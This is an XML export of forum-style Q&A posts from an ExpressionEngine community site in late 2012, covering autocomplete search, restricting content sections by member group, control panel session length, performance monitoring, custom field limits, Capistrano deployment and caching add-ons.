  <row Id="435" PostTypeId="2" ParentId="432" CreationDate="2012-11-27T02:35:59.890" Score="4" Body="&lt;p&gt;It would be difficult to lay out the full code here, but we do something similar, so let me try to point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are looking for is normally referred to as &quot;jQuery Autocomplete&quot;. A great example can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ramirezcobos.com/labs/autocomplete-for-jquery-js/&quot; rel=&quot;nofollow&quot;&gt;http://www.ramirezcobos.com/labs/autocomplete-for-jquery-js/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use jQuery along with jQuery UI with this:&#xA;&lt;a href=&quot;http://jqueryui.com/autocomplete/&quot; rel=&quot;nofollow&quot;&gt;http://jqueryui.com/autocomplete/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first plugin will get you most of the way there, but it does require some jQuery &amp;amp; PHP experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way it works is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;install the jQuery plugin on your server&lt;/li&gt;&#xA;&lt;li&gt;modify the included PHP file to include a database call based on your criteria. The query would follow the logic, &quot;Select all fields, for entries in the Company Channel, where the Custom ID field is equal to the ID passed from the search&quot;&lt;/li&gt;&#xA;&lt;li&gt;the above query and settings depend on your setup, and which jQuery plugin you use.&lt;/li&gt;&#xA;&lt;li&gt;you add the jQuery Autocomplete code to the one specific 'search' field in your Freeform&#xA;&lt;ul&gt;&#xA;&lt;li&gt;when you have that working, typing in an ID will start autocompleting existing entries. You can specify in the PHP settings file which field to display in the result box.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clicking on a result would then reload the page, passing the results as POST variables&lt;/li&gt;&#xA;&lt;li&gt;you could then use the POST variable, the company ID for example, within your main channel or Freeform tags as a parameter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;CAVEATS:&#xA;- PHP knowledge needed to setup the PHP code&#xA;- MySQL skills needed to build the query (very basic though)&#xA;- You must be careful regarding customer security &amp;amp; privacy. Are you certain that you want to make public all of the &quot;Company&quot; data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the link above though, to assess how comfortable you are with this type of script. If not, it is somewhat trivial for an experienced developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to reach out for help here if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ira&lt;/p&gt;&#xA;" OwnerUserId="229" LastActivityDate="2012-11-27T02:35:59.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="436" PostTypeId="1" CreationDate="2012-11-27T02:41:37.830" Score="2" ViewCount="165" Body="&lt;p&gt;I have a client's website where they're using Structure addon to hierarchically author content. They now have a need to lock down a particular sub-section of content (could be third level deep). I don't really want to create a set of new templates just for this section, so using the Template Manager to lock down templates to specific user groups is out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another method by which I can lock down/secure a sub section down to one or more member groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Brendan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; The scope has changed slightly now. This section of the site now needs to be accessible by one of more working groups, but the content they see will be member group specific. May need to consider breaking this out to a specific template group and sub templates instead.&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="347" LastEditDate="2012-12-04T02:15:04.630" LastActivityDate="2012-12-04T09:18:38.320" Title="Lock down/Secure specific sub section in Structure" Tags="|structure|secure|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="437" PostTypeId="2" ParentId="436" CreationDate="2012-11-27T03:20:51.740" Score="1" Body="&lt;p&gt;You could probably create a custom field to specify if it's locked or not, and then do a conditional redirect in the template if it's locked and the member isn't assigned to the proper group. It's a bit dirty, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-11-27T03:20:51.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="438" PostTypeId="2" ParentId="428" CreationDate="2012-11-27T03:24:36.473" Score="2" Body="&lt;p&gt;I believe &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;Solspace Super Search&lt;/a&gt; may be able to handle this as well. You may want to take a peek!&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-11-27T03:24:36.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="439" PostTypeId="2" ParentId="388" CreationDate="2012-11-27T03:29:20.310" Score="2" Body="&lt;p&gt;We're in the same situation as you right now. We purchase all licenses for our clients and log it in our Accounting software (which happens to be Quickbooks Online). We also store the domains in the notes field when we can. We use Salesforce for our CRM and it is extremely customizable. I think after reading this I'm going to create a 'Software Licenses' data type in Salesforce with the appropriate fields so we can store this info for our clients, mail merge on it, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for bringing a great point to light!&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-11-27T03:29:20.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="440" PostTypeId="5" CreationDate="2012-11-27T03:50:45.077" Score="0" Body="&lt;p&gt;This tag is for questions about the first major release of ExpressionEngine. EE1 is a legacy product as of Dec 7th, 2012. It is currently still available for official support but as of Dec 7th, 2013 will no longer be able to receive official support from EllisLab.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="15" LastEditDate="2012-12-17T03:09:30.590" LastActivityDate="2012-12-17T03:09:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="441" PostTypeId="4" CreationDate="2012-11-27T03:50:45.077" Score="0" Body="ExpressionEngine version 1" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-11-27T15:44:59.353" LastActivityDate="2012-11-27T15:44:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="442" PostTypeId="1" AcceptedAnswerId="448" CreationDate="2012-11-27T05:18:52.710" Score="10" ViewCount="1895" Body="&lt;p&gt;One of my clients' irritations is being logged out of the control panel when he has left his session idle for a few hours. How can I prevent this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T21:16:57.973" Title="How do you prevent being logged out of the control panel?" Tags="|control-panel|sessions|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="443" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T05:27:17.423" Score="10" Body="&lt;p&gt;Try changing the Control Panel Session type to Cookies Only:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-27T05:27:17.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="444" PostTypeId="1" AcceptedAnswerId="460" CreationDate="2012-11-27T05:32:43.487" Score="3" ViewCount="549" Body="&lt;p&gt;I use NewRelic to monitor site performance, but since everything runs through index.php, the amount of data I get back regarding controller performance is limited and clumped together. How can I get more granular performance data?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-08-31T09:58:46.990" Title="How do you hook NewRelic monitoring into ExpressionEngine" Tags="|performance|newrelic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="445" PostTypeId="1" AcceptedAnswerId="447" CreationDate="2012-11-27T05:36:32.403" Score="3" ViewCount="157" Body="&lt;p&gt;I'm a firm believer in the single custom field group approach, but it can be irritating that, when adding a custom field to a shared custom field group, all publish layouts automatically display that custom field. Have you found any techniques/addons to solve this?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T05:49:29.560" Title="Can new fields be hidden by default on Publish Pages?" Tags="|custom-fields|control-panel|publish-layout|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="446" PostTypeId="2" ParentId="445" CreationDate="2012-11-27T05:41:05.857" Score="0" Body="&lt;p&gt;Indeed, very annoying and in my opinion a bug. I don't know of any way to undo this behavior. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-27T05:41:05.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="447" PostTypeId="2" ParentId="445" CreationDate="2012-11-27T05:41:45.733" Score="3" Body="&lt;p&gt;I have used a core hack to solve this, but I am hoping to see better solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 1400 of system/expressionengine/libraries/api/Api_channel_fields.php change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_info['publish'][$insert_id] = array(&#xA;'visible'        =&amp;gt; 'true', &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'visible' =&amp;gt; 'FALSE',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T05:41:45.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="448" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T05:46:42.403" Score="14" Body="&lt;p&gt;If for some reason you need to use sessions, you can change the session time with a config variable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#cp-session-ttl&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#cp-session-ttl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 86400; // Keep admins logged in for one day!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T05:46:42.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="449" PostTypeId="2" ParentId="445" CreationDate="2012-11-27T05:49:29.560" Score="2" Body="&lt;p&gt;Short of writing an extension to override the default setting of making fields visible you would need to go with your core hack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to think about it from the standpoint of how most users use EE under normal circumstances. Most people would create a field for a particular channel and be happy that it is now showing up in the publish section. The same goes for something like the disable parameter in the channel entries tag and similar. It makes more sense (IMO) to have an enable parameter and only enable the things that I need per tag element. The likely hood of that happening though is going to be pretty slim though if for nothing else then backwards compatibility reasons.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-27T05:49:29.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="450" PostTypeId="1" AcceptedAnswerId="469" CreationDate="2012-11-27T06:09:53.783" Score="20" ViewCount="2193" Body="&lt;p&gt;Which config bootstrap options are available for ExpressionEngine? Which one works best in a multi server environment? &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-28T00:45:11.320" Title="Config Bootstrap Options" Tags="|bootstrap|config|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="451" PostTypeId="1" AcceptedAnswerId="459" CreationDate="2012-11-27T06:33:13.537" Score="7" ViewCount="298" Body="&lt;p&gt;Can I put all my fields into one field group and show just the fields I need on each channel's publish view? Any future issues I might run into working this way?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-27T09:38:40.140" Title="Shared field group?" Tags="|fields|publish-layout|field-group|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="452" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T07:02:56.240" Score="6" Body="&lt;p&gt;The &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot;&gt;NSM Bootstrap&lt;/a&gt; technique has never let us down in multi-server environments.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-11-27T07:02:56.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="453" PostTypeId="1" AcceptedAnswerId="455" CreationDate="2012-11-27T07:05:10.410" Score="2" ViewCount="806" Body="&lt;p&gt;I have a fairly large-scale site to build? How many custom fields can I use without running into MySQL database limitations?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2015-02-27T20:47:45.160" Title="What is the maximum number of custom fields you can use in an installation?" Tags="|custom-fields|mysql|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="454" PostTypeId="1" AcceptedAnswerId="475" CreationDate="2012-11-27T07:12:13.410" Score="6" ViewCount="369" Body="&lt;p&gt;Any good resources/advice on using Capistrano to deploy EE sites?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-02T05:31:23.180" Title="How can I use capistrano deployment with ExpressionEngine?" Tags="|deployment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="455" PostTypeId="2" ParentId="453" CreationDate="2012-11-27T07:18:38.213" Score="16" Body="&lt;p&gt;From the MySQL docs: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;There is a hard limit of 4096 columns per table, but the effective maximum may be less for a given table.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that each field uses two columns, one for field data, another for field type. So divide the maximum column limit by two, and then subtract 3 for the entry_id, site_id, and channel_id columns; which leave you with the possibility of 2046.5 fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Every table (regardless of storage engine) has a maximum row size of 65,535 bytes.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are full details:&#xA;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&quot; rel=&quot;nofollow&quot;&gt;http://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-02-27T20:47:45.160" LastActivityDate="2015-02-27T20:47:45.160" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="456" PostTypeId="2" ParentId="451" CreationDate="2012-11-27T07:22:28.220" Score="2" Body="&lt;p&gt;You sure can but it will come with a performance hit. Hidden fields are still loaded into the HTML source of the publish page but set to display:none using CSS. If you have a lot of fields you really could slow down the load time of the control panel. &lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-11-27T07:22:28.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="457" PostTypeId="2" ParentId="454" CreationDate="2012-11-27T07:47:27.313" Score="1" Body="&lt;p&gt;A quick google search lead me to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DEPLOYING EXPRESSIONENGINE FROM GITHUB WITH CAPISTRANO&lt;/strong&gt;&#xA;&lt;a href=&quot;http://hivelogic.com/articles/deploying-expressionengine-github-capistrano&quot; rel=&quot;nofollow&quot;&gt;http://hivelogic.com/articles/deploying-expressionengine-github-capistrano&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like this should cover most of it.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-27T07:47:27.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="458" PostTypeId="2" ParentId="314" CreationDate="2012-11-27T07:50:37.720" Score="7" Body="&lt;p&gt;The &lt;code&gt;lv_fallback_banner&lt;/code&gt; is an Assets variable type, which stores the data like this: &lt;code&gt;{filedir_x}my-image.jpg&lt;/code&gt;. To parse the filedir-variable, you need to use the &lt;code&gt;{exp:low_variables:single}&lt;/code&gt; tag, so Assets gets called and can process it (instead of just dumping the variable content in the template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it will always return the parsed variable content, &lt;strong&gt;not&lt;/strong&gt; the tagdata inside the &lt;code&gt;:parse&lt;/code&gt; tag, so the &lt;code&gt;ce_img&lt;/code&gt; tag will be lost. To solve, use the &lt;code&gt;:single&lt;/code&gt; tag inside the &lt;code&gt;ce_img&lt;/code&gt; tag's parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair ... fallback_src=&quot;{exp:low_variables:single var='lv_fallback_banner'}&quot; ... parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also make sure everything is on a single line, or EE's template parser may choke.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-11-27T07:50:37.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="459" PostTypeId="2" ParentId="451" CreationDate="2012-11-27T08:04:19.113" Score="7" Body="&lt;p&gt;Apart from performance there's also another problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose your 1 &quot;master field group&quot; is being used by 4-5 channels, and you want to add one field to one of your channels, you have to add it to your master field group, &lt;strong&gt;and hide it in all the publish layouts of all your channels&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you use this master field group approach, you really need to have planned out your entire website structure before setting up your fields, because having to hide each field you add in 20 different channels becomes very dull, very quickly.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-27T08:04:19.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="460" PostTypeId="2" ParentId="444" CreationDate="2012-11-27T08:09:07.920" Score="2" Body="&lt;p&gt;Does this help ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Instrumenting ExpressionEngine with New Relic ( and Tracelytics )&lt;/strong&gt;&#xA;&lt;a href=&quot;http://learningsomethingnewwith.wordpress.com/2012/03/04/instrumenting-expressionengine-with-tracelytics-and-new-relic/&quot; rel=&quot;nofollow&quot;&gt;http://learningsomethingnewwith.wordpress.com/2012/03/04/instrumenting-expressionengine-with-tracelytics-and-new-relic/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-27T08:09:07.920" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="461" PostTypeId="1" AcceptedAnswerId="467" CreationDate="2012-11-27T08:39:19.120" Score="6" ViewCount="487" Body="&lt;p&gt;I'm wondering what the best option is for better site performance in regards to caching with Stash and CE Cache. A few questions come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Should we be running them side by side?&lt;/li&gt;&#xA;&lt;li&gt;Any advantages to run them side by side?&lt;/li&gt;&#xA;&lt;li&gt;If we run CE Cache should we turn off any Stash caching?&lt;/li&gt;&#xA;&lt;li&gt;If we use anything other than DB caching via CE Cache is that a good time to use Stash caching assuming it use DB caching (I think?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-27T09:53:30.800" Title="Should we use Stash caching along side CE Cache?" Tags="|stash|performance|caching|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="462" PostTypeId="1" CreationDate="2012-11-27T08:49:44.147" Score="7" ViewCount="609" Body="&lt;p&gt;Wondering what the best method is for caching with Stash and or CE Cache when using Template Partials. Some questions come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it best to use CE Cache in the wrapper (this seems easiest?)&lt;/li&gt;&#xA;&lt;li&gt;Should we be using CE Cache in each of the partials instead of the wrapper?&lt;/li&gt;&#xA;&lt;li&gt;Should we be using Stash caching in the viewModels first?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Again, hope to see some best practices in regards to working with ExpressionEngine template partials approach for caching with Stash and or CE Cache.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-01-20T20:02:54.897" Title="Template partials and caching via Stash and CE Cache" Tags="|stash|caching|ce-cache|template-partials|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostTypeId="2" ParentId="451" CreationDate="2012-11-27T08:59:35.903" Score="4" Body="&lt;p&gt;If you are doing content planning then I see no problems with this approach.  For example, I use separate channels for each section of a web site e.g. 'About Us', 'Why use our services'.  I use the same channel field group for each of these sections since they are all structured in the same way e.g. abstract, detail, useful links etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use common sense to break away from using a master field group approach - for example, if my landing and internal pages for a given section of the web site have several fields that are different then I break away from the master field group approach more for the clients' experience - never good to have a bunch of fields that don't need input for some pages but do for others!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, it's a common sense approach borne out from content planning.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2012-11-27T08:59:35.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="465" PostTypeId="2" ParentId="451" CreationDate="2012-11-27T09:38:40.140" Score="3" Body="&lt;p&gt;I am a huge advocate of having a &quot;master&quot; field set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Publish Layout to show/hide fields, and use add-ons like Entry Layout to further customize &amp;amp; present separate layouts per entry within a channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only have a separate field set for add-ons that truly require them, like channel-based member fields, Solspace Calendar, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance hit on the entry form is more than compensated by truly modular templates that share same field names across channels. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-27T09:38:40.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="466" PostTypeId="2" ParentId="462" CreationDate="2012-11-27T09:48:53.193" Score="0" Body="&lt;p&gt;Perhaps a bit off-topic, but for partials, we tend to go with Solspace Template Morsels. CE Cache is great to wrap multiple blocks of code, but the fact that TM comes with both time-based and edit-based rules is a real plus (i.e., update cache when an entry from channel xyz is edited/created). &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-27T09:48:53.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="467" PostTypeId="2" ParentId="461" CreationDate="2012-11-27T09:53:30.800" Score="2" Body="&lt;p&gt;Everyone has their own method for using Stash and the various caching tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that Stash is great for simplifying my structure (more DRY) which also has a side effect of dropping overhead. But my first goal with Stash is &quot;stashing&quot; a block of functionality so that I can move it elsewhere within my &quot;waterfall&quot; of template rendering and / or cloning that block to be used in multiple areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching with add-ons such as CE Cash and Template Morsels (from Solspace and similiar functionality as CE Cache) is great for making a dynamic area load as a static area (with control over refresh intervals) but not so great at moving that component elsewhere in the waterfall and not as great as Stash is for fine grained re-usability of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash has been pretty quick moving in added functionality and details can change quick, but in the past I have found caching tools like Template Morsels easier for just setting entire sections of templates as being cached and going on about my day. With Stash I'm much more targeted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, Stash and caching options should be used side by side. Each option gives you similar answers to performance problem but I use them differently based on their differing capabilities.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-27T09:53:30.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostTypeId="2" ParentId="337" CreationDate="2012-11-27T09:54:14.563" Score="4" Body="&lt;p&gt;This URL schematic graphic is a great reference. Thanks to Jamessmith.co.uk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jHUYQ.png&quot; alt=&quot;ExpressionEngine URL Schematic&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-27T09:54:14.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="469" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T09:56:10.417" Score="15" Body="&lt;p&gt;I can recommend &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;Focus Lab's EE Master Config&lt;/a&gt;. It's easy to set up and easy to add options to as needed and it is perfect for multi server environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually don't bother with the multi server set up, and am just building the site on a subdomain and then just transferring to the live domain. But even in this basic case, the master config makes going live quicker and easier.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2012-11-27T09:56:10.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostTypeId="2" ParentId="450" CreationDate="2012-11-27T10:28:41.330" Score="12" Body="&lt;p&gt;Solutions mentioned  in the thread are all nice, but I think you learn a lot by creating your own config bootstrap. To that end, I found the following resources can help a great deal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/php/apply-the-dry-principle-to-build-websites-with-expressionengine-2/&quot;&gt;DRY applied to EE2 config&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jamieonsoftware.com/journal/2011/4/6/getting-to-know-expressionengine-2s-config-file.html&quot;&gt;Three&lt;/a&gt; &lt;a href=&quot;http://jamieonsoftware.com/journal/2011/4/11/getting-to-know-expressionengine-2s-config-file-part-2.html&quot;&gt;in-depth&lt;/a&gt; &lt;a href=&quot;http://jamieonsoftware.com/journal/2011/11/5/getting-to-know-expressionengine-2s-config-file-part-3.html&quot;&gt;articles&lt;/a&gt; by Jamie Rumbelow on the EE config file&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html&quot;&gt;Hidden Config variables in EE2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Armed with those, it is easy to create bootstrap config files that will suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-27T10:28:41.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostTypeId="2" ParentId="428" CreationDate="2012-11-27T10:33:19.057" Score="1" Body="&lt;p&gt;One of the option you can try is to write a simple plugin extending the channel module. That sounds harder than it is. &lt;a href=&quot;http://dmlogic.com/blog/extending-the-expression-engine-channel-module/&quot; rel=&quot;nofollow&quot;&gt;Here is a nice article by DMLogic&lt;/a&gt; to get you started.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-11-27T10:33:19.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostTypeId="2" ParentId="433" CreationDate="2012-11-27T11:17:09.673" Score="3" Body="&lt;p&gt;Looks fine to me, and you can't argue with &quot;it works.&quot; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might try just leaving {count} out completely, though I may be missing something on why you have added that. The last version I used didn't have nesting built in yet, so I'm not totally up to date with the newest quirks. &lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-27T11:17:09.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostTypeId="2" ParentId="454" CreationDate="2012-11-27T12:19:13.217" Score="9" Body="&lt;p&gt;I've previously used Capistrano to deploy EE sites, though I've recently moved to using the web based &lt;a href=&quot;http://www.deployhq.com/&quot;&gt;DeployHQ&lt;/a&gt; as it doesn't require SSH access or for Git to be installed on the server, while still allowing rollbacks (based on SHAs/commits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here is a Gist of the last version of my cap recipe for deploying E via Git+SSH. This was based an amalgam the HiveLogic post linked in @Janvi's answer as well as &lt;a href=&quot;http://shapeshed.com/deploying_expressionengine_with_git_and_capistrano/&quot;&gt;This ShapeShed post&lt;/a&gt; and some bits from &lt;a href=&quot;https://github.com/camwest/expression-engine-recipes/blob/master/recipes/expression_engine.rb&quot;&gt;This GitHub repo&lt;/a&gt; too, all updated for EE2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such it also has a bunch of extra tasks for doing things like getting a SQL dump from the remote server, and importing it locally which you may or may not want. Feel free to make use of it if you can, but as I'm no longer using it I can't really help support it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4153939&quot;&gt;&lt;strong&gt;Link to Gist of Capistrano Recipe&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;NB This recipe assumes that you are bootstrapping your config and making full use of config vars to move all paths (inc uploads) out of the DB. I have an extended version somewhere which runs the SQL dump through a migration script to fix any missed paths and empty tables that aren't needed across imports, such as &lt;code&gt;exp_sessions&lt;/code&gt; etc&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; There's also this article on &lt;a href=&quot;http://theinbetweens.co.uk/articles/capistrano_for_expression_engine_2&quot;&gt;deploying EE 2 with Capistrano&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-27T17:49:05.020" LastActivityDate="2012-11-27T17:49:05.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
